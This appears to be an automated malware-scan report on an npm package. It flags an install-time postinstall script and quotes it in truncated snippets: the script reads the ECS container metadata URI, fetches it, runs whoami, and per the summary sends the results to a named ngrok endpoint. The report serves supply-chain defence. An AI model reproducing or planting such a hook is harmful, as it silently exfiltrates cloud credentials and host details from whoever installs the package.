This is unconsented install-time data exfiltration. - **Rationale:** The sole package file defines a postinstall collector/exfiltrator with no package functionality or user-invoked justification. The concrete install-time transmission warrants blocking. - **Files touched:** package.json - **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall executes automatically during npm installation., It fetches the ECS container metadata URI and captures its full response., It runs whoami and pipes collected output to an external ngrok endpoint. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.sta... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.sta... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** package.json\#scripts.postinstall - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```text L1: "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;fetch(b).then(async r=>{console.log('user:',require('child_process').execSync('whoami').toString().trim(),'status:',r.status,awai... ``` ### 5. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall executes automatically during npm installation.
